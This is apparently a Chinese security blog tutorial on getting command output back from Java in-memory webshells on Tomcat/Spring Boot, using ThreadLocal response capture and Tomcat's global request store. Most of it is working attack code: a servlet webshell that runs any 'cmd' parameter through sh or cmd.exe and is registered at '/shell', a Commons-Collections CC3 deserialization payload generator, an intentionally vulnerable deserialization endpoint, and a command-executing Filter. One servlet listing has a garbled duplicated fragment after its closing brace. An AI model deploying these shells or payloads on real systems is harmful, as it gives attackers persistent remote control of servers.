ThreadLocal Response回显
回顾JSP马
之前说的都是利用 jsp 注入内存马,但 Web 服务器中的 jsp 编译器还是会编译生成对应的 java 文件然后进行编译加载并进行实例化,所以还是会落地。
但如果直接注入,比如利用反序列化漏洞进行注入,由于 request 和 response 是 jsp 的内置对象,在回显问题上不用考虑,但如果不用 jsp 文件,就需要考虑如何回显的问题。
其实主要要解决的问题就是如何获取 request 和 response 对象。
目前主流的回显技术(部分)主要有:
- linux 下通过文件描述符,获取 Stream 对象,对当前网络连接进行读写操作。
限制:必须是 linux,并且在取文件描述符的过程中有可能会受到其他连接信息的干
- 通过ThreadLocal Response回显,基于调用栈获取中获取 response 对象(ApplicationFilterChain中)
限制:如果漏洞在 ApplicationFilterChain 获取回显 response 代码之前,那么就无法获取到Tomcat Response进行回显。
- 通过全局存储 Response回显,寻找在Tomcat处理 Filter 和 Servlet 之前有没有存储 response 变量的对象
限制:会导致http包超长,但相对比较通用。
什么是ThreadLocal
在讲基于ThreadLocal方法回显之前,我们首先需要知道ThreadLocal是拿来干什么的
ThreadLocal的作用就是:线程安全。 ThreadLocal的本质就是一个内部的静态的map,key是当前线程的句柄,value是需要保持的值。 由于是内部静态map,不提供遍历和查询的接口,每个线程只能获取自己线程的value。 这样,就线程安全了,又提供了数据共享的能力,perfect。
也就是说ThreadLocal
是来保证线程安全的,干说可能也不好理解,这里拿几个例子来说明:
一个用来给数字加十的工具类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.example.springshell.utils;
import java.util.concurrent.TimeUnit;
public class NumUtil {
public static int addNum = 0;
public static int add10(int num) { addNum = num; try { TimeUnit.SECONDS.sleep(1); } catch (InterruptedException e) { e.printStackTrace(); } return addNum + 10; } }
|
一个使用案例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.example.springshell.controller;
import com.example.springshell.utils.NumUtil;
import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors;
public class threadlocaldemo { public static void main(String[] args) {
ExecutorService service = Executors.newFixedThreadPool(20);
for (int i = 0; i < 20; i++) { int num = i; service.execute(()->{ System.out.println(num + " " + NumUtil.add10(num)); }); } service.shutdown(); } }
|
清一色的看到结果都是29,这是为什么捏?
这里其实可以结合条件竞争来理解,在多线程的情况下,比如线程1中for循环到数字9,由于不同线程之间变量没有隔离,这时候线程2执行到了addn10
方法中,就接替了线程1的工作,进行+10,但是线程2中for循环只到了2。因此会输出2 29
这样的数字,其他结果也是同样的道理
解决方法有很多,其中一种就是运用ThreadLocal
创建独立的线程变量域:
将之前的工具类改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class NumUtil {
private static ThreadLocal<Integer> addNumThreadLocal = new ThreadLocal<>();
public static int add10(int num) { addNumThreadLocal.set(num); try { TimeUnit.SECONDS.sleep(1); } catch (InterruptedException e) { e.printStackTrace(); } return addNumThreadLocal.get() + 10; } }
|
在这之中我们创建了ThreadLocal,之前也说了本质就是一个用于存放当前进程变量的map,ThreadLocalMap是其内部类,调用了它的set和get方法用于储存和取出变量
这样做一层隔离,输出结果也就正常了:
ApplicationFilterChain#internalDoFilter
起一个SpringBoot程序(3.0.2),这里我起的SpringBoot版本较高,和其他博主的文章有一些小地方偏差,不过影响其实不大,我们分析SpringBoot接受请求时的调用栈:
可以看到是不断的调用了InternalDoFilter方法(这里其实就是Agent内存马的利用点,InternalDoFilter链),我们通过观察ApplicationFilterChain这个类可以发现,他内置了两个变量lastServicedRequest
和lastServicedResponse
,分别都是ThreadLocal类型:
紧接着在internalDoFilter
方法中对这两属性进行了赋值,但是有个前提就是要满足if的条件:
可以看到这里的request和response就是我们目标对象
至于dispatcherWrapsSameObject
属性,默认是为false的,因此我们需要反射修改属性,这一点很容易做到,那么至此思路就是这样,第一次访问URL的时候,反射修改属性,第二次访问URL的时候就进入if了,然后获取request和response
SpringBoot版本问题
在这里说明一下一个问题,就是SpringBoot版本问题和Java版本问题,SpringBoot3和SpringBoot2在internalDoFilter中if判断条件不同:
SpringBoot2
SpringBoot3
反射修改static final属性
在SpringBoot2中ApplicationDispatcher.WRAP_SAME_OBJECT
的类型是一个private static final
类型的属性,这种属性由于一些原因无法被反射直接修改,具体参考
我们可以通过反射去除final修饰符的方式达到修改的目的
modifiers实际就是一个int类型的26
,并且每个修饰符都有一个int的值,比如private是2
,static是8
,final是16
那么我们只需要把目标属性的modifiers属性减去16,就相当于去除了final属性,而图中取反然后按位与操作就是这一步骤
JDK版本问题
在JDK12+之后,我们就不能通过上述方法移除final修饰符了,会报错NoSuchFiled:modifiers
,因此目前我只发现了低版本的这种回显方式,所以在这里我将SpringBoot降到了2.6版本,JDK降到了11
初步构造回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package com.example.echoshell.controller;
import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterChain; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletContext; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import java.lang.reflect.Field; import java.lang.reflect.Modifier;
@Controller public class echoshell { @RequestMapping("/normal") @ResponseBody public String hello() throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException { Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); WRAP_SAME_OBJECT_FIELD.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null); boolean wrap_same_object_fieldBoolean = WRAP_SAME_OBJECT_FIELD.getBoolean(null); if (!wrap_same_object_fieldBoolean || lastServicedResponse == null || lastServicedRequest == null) { System.out.println("in"); lastServicedRequestField.set(null, new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>()); WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); } else { String name = "xxx"; ServletRequest servletRequest = lastServicedRequest.get();
ServletContext servletContext = servletRequest.getServletContext(); System.out.println(servletContext); System.out.println(servletRequest);
} return "nothing"; } }
|
在这个初步Payload中有几个细节其实,就是几个if的判断,可以让我们第一次访问时不报错,因为我们需要访问两次,第一次赋值属性WRAP_SAME_OBJECT_FIELD
为true,第二次进入if赋值另外2个属性lastServicedResponse、lastServicedRequest
为request和response:
成功获得request和response以及context对象
反序列化打入Servlet内存马
首先构造恶意Servlet内存马,我这里是使用CC3进行打入,记得控制cc的版本和JDK的版本,我这儿是CC3.2.1和JDK1.8,仅供大家参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203
| package com.example.echoshell.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationFilterChain; import org.apache.catalina.core.StandardContext;
import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Scanner;
public class shellcode extends AbstractTranslet implements Servlet{
static { try { Class<?> clazz = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Field lastServicedRequest = clazz.getDeclaredField("lastServicedRequest"); Field lastServicedResponse = clazz.getDeclaredField("lastServicedResponse"); Field modifiers = Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL); modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT.setAccessible(true); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true); if (!WRAP_SAME_OBJECT.getBoolean(null)) { WRAP_SAME_OBJECT.setBoolean(null, true); lastServicedRequest.set(null, new ThreadLocal<ServletRequest>()); lastServicedResponse.set(null, new ThreadLocal<ServletResponse>()); } else { String name = "xxx"; ThreadLocal<ServletRequest> threadLocalReq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null); ThreadLocal<ServletResponse> threadLocalResp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null); ServletRequest servletRequest = threadLocalReq.get(); ServletResponse servletResponse = threadLocalResp.get();
ServletContext servletContext = servletRequest.getServletContext();
if (servletContext.getServletRegistration(name) == null) { StandardContext o = null;
while (o == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext);
if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { o = (StandardContext) object; } }
Servlet servlet = new shellcode();
Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet);
o.addChild(newWrapper); o.addServletMappingDecoded("/shell", name);
} } } catch (Exception e) { e.printStackTrace(); }
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(ServletConfig servletConfig) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} } o = (StandardContext) object; } }
Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} };
Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet);
o.addChild(newWrapper); o.addServletMappingDecoded("/shell", name);
} } } catch (Exception e) { e.printStackTrace(); } } }
|
然后我们自定义一个反序列化入口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example.echoshell.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64;
@Controller public class ShellPoint {
@RequestMapping("/unserial") public void shell(HttpServletRequest req) throws IOException { System.out.println("in"); byte[] data = Base64.getDecoder().decode(req.getParameter("data")); ByteArrayInputStream inputStream = new ByteArrayInputStream(data); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); try { System.out.println(objectInputStream.readObject()); } catch (ClassNotFoundException e) { e.printStackTrace(); } }
}
|
最后通过CC3打进:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| package com.example.echoshell.controller;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl(); Class c= TemplatesImpl.class; Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"Boogipop"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("E:\\CTF学习笔记\\Java\\echoshell\\target\\classes\\com\\example\\echoshell\\controller\\shellcode.class")); byte[][] codes={code}; bytecodes.set(templates,codes); Field tfactory = c.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa"); HashMap<Object, Object> hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); map.remove("aaa"); Field factory = LazyMap.class.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer); serialize(hashMap); String res=encryptToBase64("ser.bin"); System.out.println(res); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws Exception { ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename)); Object obj=ois.readObject(); return obj; } public static String encryptToBase64(String filePath) { if (filePath == null) { return null; } try { byte[] b = Files.readAllBytes(Paths.get(filePath)); return Base64.getEncoder().encodeToString(b); } catch (IOException e) { e.printStackTrace(); }
return null; } }
|
我们访问unserial路由2次即可成功注册,这两次访问虽然会报错但是可以成功打入:
第一次报错
第二次报错
局限性
上述是一种半通用的方法,有一定的局限性,该方法入口类是在ApplicationFilterChain#internalDofilter
方法,假如序列化触发点在这之前的话就无法注入(比如shiro,暂未研究,只是略看),并且还有JDK和SpringBoot的版本限制
基于Tomcat全局存储进行回显
前一种方法有局限性,而现在要讲的方法是可以通杀的,回归到最初的地方去寻找
流程分析
起一个SpringBoot服务,在Controller的mapping上下一个断电,分析一下调用栈,首先定位到Http11Processor
中,调用了getAdapter().service(request, response)
,其中的request和response均来自父类AbstractProcessor中:
继续分析调用栈,接着在AbstractProtocol的内部类ConnectionHandler中调用了register方法注册了processor,这里的processor就是上面的Http11processor:
我们再这一步进行跟进,在register
方法中有一个Requestinfo
类型的对象rp
,他在里面也封装着一个request
对象,之后将requestinfo
对象存入global
属性中:
这个request对象是和之前Http11processor
中的request对象相同的(调试不发生在一次,因此@
后面的数值可能不同)
既然把同一个request对象放到了global中,所以我们尝试寻找存储了AbstractProtocol实例的地方,由于global对象是在内部类ConnectionHandler中,如果可以获取到AbstractProtocol对象,那么就能通过反射getHandler方法来获取到内部类ConnectionHandler的实例,进而获取global:既然同一个request对象都被封装进了AbstractProtocol
的global
属性当中,那现在需要做的就是如何找到储存了AbstractProtocol
类的地方,只要找到了我们就可以通过反射获取(Handler是ConnectionHandler的父类):
思路图如下:
所以现在就是需要获取AbstractProtocol
,我们继续观察调用栈,可以发现在CoyoteAdapter
类中的connector属性中存放了protocolHandler
对象:
protocolHandler
和AbstractProtocol
的继承关系图如下:
并且通过观察可以发现存在connector属性中的protocolHandler属性真实类型为Http11NioProtocol
对象,而这刚好就是AbstractProtocol
的子类,我们可以通过向上转型从而获取AbstractProtocol
,然后去获取global
属性,进而获取requestinfo
最后获取request
对象
这个Connector类是在org.apache.catalina包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector类的踪迹。如果熟悉Spring boot启动Tomcat服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer方法中执行了addConnector方法,执行完之后就会把connector对象封装到StandardService对象中:
之后Litch1师傅的思路就是通过WebappClassLoaderBase这个线程上下文类加载器于StrandardService来产生联系:
这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()来直接获取到实例,所以整个寻找链也就完成了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| WebappClassLoaderBase --> resources(StandardRoot) --> context(StandardContext) --> context(ApplicationContext) --> service(StandardService) --> connectors(Connector[]) --> protocolHandler(ProtocolHandler) --> (转型)protocolHandler(AbstractProtocol) --> (内部类)hanlder(AbstractProtocol$ConnectorHandler) --> global(RequestGroupInfo) --> processors(ArrayList) --> requestInfo(RequestInfo) --> req(org.apache.coyote.Request) --getNote--> request(org.apache.connector.Request) --> response(org.apache.connector.Response)
|
有一点需要注意的是,我们最后拿到的Request对象是org.apache.coyote.Request,而真正需要其实是org.apache.catalina.connector.Request对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote方法可以得到后者:
内存马回显构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| import org.apache.catalina.Context; import org.apache.catalina.connector.Connector; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardService; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.coyote.AbstractProtocol; import org.apache.coyote.Request; import org.apache.coyote.RequestGroupInfo; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Scanner;
@WebFilter(filterName = "testFilter", urlPatterns = "/*") public class Filter3 implements Filter { @Override public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException { String cmd = null; try { WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); Context context = loader.getResources().getContext(); Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context); Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); serviceField.setAccessible(true); StandardService standardService = (StandardService) serviceField.get(applicationContext);
Connector[] connectors = standardService.findConnectors(); for (Connector connector : connectors) { if (connector.getScheme().contains("http")) { AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler"); getHandler.setAccessible(true); AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processorsField.setAccessible(true); ArrayList processors = (ArrayList) processorsField.get(global);
for (Object processor : processors) { RequestInfo requestInfo = (RequestInfo) processor; if (requestInfo.getCurrentQueryString().contains("cmd")) { Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); reqField.setAccessible(true); Request requestTemp = (Request) reqField.get(requestInfo); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
cmd = request.getParameter("cmd"); String[] cmds = null; if (cmd != null) { if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(inputStream).useDelimiter("//A"); String output = s.hasNext() ? s.next() : ""; PrintWriter writer = request.getResponse().getWriter(); writer.write(output); writer.flush(); writer.close();
break; } } } } } } catch (Exception e) { e.printStackTrace(); }
chain.doFilter(request1, response1); } }
|
在主类记得加上扫描注解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.example.echoshell;
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.web.servlet.ServletComponentScan;
@SpringBootApplication @ServletComponentScan public class EchoshellApplication {
public static void main(String[] args) { SpringApplication.run(EchoshellApplication.class, args); }
}
|
局限性
该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,经过测试发现springboot在2.6以后移除了getresources方法
因此还是得看情况使用咯